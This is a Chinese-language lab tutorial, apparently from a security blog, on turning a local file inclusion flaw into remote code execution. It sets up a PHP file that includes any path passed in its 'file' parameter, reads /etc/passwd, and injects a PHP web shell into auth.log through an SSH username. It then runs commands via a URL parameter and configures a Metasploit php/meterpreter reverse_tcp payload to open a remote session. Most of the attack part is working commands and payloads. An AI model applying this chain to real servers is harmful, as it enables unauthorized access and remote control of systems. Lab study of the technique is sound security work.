免责声明
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
在本文中,您将了解如何在身份验证日志文件的帮助下,在 Web 服务器遭受本地文件包含漏洞的情况下对其进行未经授权的访问。
环境搭建
攻击者:Kali Linux
目标:Ubuntu
创建一个 PHP 文件,允许用户通过文件参数包含文件。因此,使用文件参数我们可以执行包含恶意代码的文件,从而对目标 PC 进行未经授权的访问。
<?php $file = $_GET['file']; if(isset($file)) { include("$file"); } else { include("index.php"); } ?>
我已将下面的 PHP 代码保存为文本文件 lfi.php ,并保存在桌面上。
现在以“root”用户身份登录并在/var/www/html内创建文件夹“lfi”
cd /var/www/html
mkdir lfi
使用以下命令将lfi.php 文件从桌面移动到 /var/www/html。
mv /home/raj/Desktop/lfi.php。
由于我们在 /var/www/html 中添加了一个带有 include 函数的 php 文件,因此可以通过它读取另一个文件的内容,并可能导致 LFI 攻击。让我们通过探索以下 URL 来读取密码文件来演示这一点:
localhost/lfi/lfi.php?file=/etc/passwd
从给定的图像中您可以观察到上述 URL 已转储如下所示的结果。
在 Kali Linux 中打开终端并通过 SSH 服务连接目标
ssh user@192.168.1.129
从截图中您可以看到我已与目标系统连接。
键入以下命令来查看其日志:
tail -f /var/log/auth.log
从下图中您可以检查 auth.log 文件生成的日志的详细信息。
现在我将尝试通过浏览器上的 lfi.php 打开 auth.log 日志文件,因此,授予读写权限
cd /var/log/
chmod 775 auth.log
现在将 auth.log 文件作为文件参数包含在内,并在浏览器中提供以下 URL。
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log
从给定的图像中您可以看到它也在浏览器中显示创建的身份验证日志。
因为当我们尝试连接 Web 服务器时,auth.log 文件会为每次成功和失败的登录尝试生成日志。利用此功能,我现在将以虚假用户的身份发送
恶意 PHP 代码,它将自动作为新日志添加到 auth.log 文件中。
ssh'<?php system($_GET['c']); ?>'@192.168.1.129
再次检查其日志时,您会发现 PHP 代码已添加了新日志。
键入以下命令来查看其日志:
tail -f /var/log/auth.log
这里它将转储 auth.log 的数据并执行通过 cmd 给出的命令;现在执行
ifconfig
作为 cmd 命令来验证网络接口并从给定的屏幕截图中确认其结果。
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log&c=ifconfig
如果您在任何 Web 应用程序中发现此类漏洞,那么您可以使用 Metasploit 平台来利用 Web 服务器。
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
复制下面窗口中显示的突出显示的文本
将上面复制的恶意代码粘贴到 URL 中,如给定图所示,并将 其 作为命令执行。
当上述代码执行时,您将获得目标 Web 服务器的 meterpreter 会话 1。
msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo
原创 三沐数安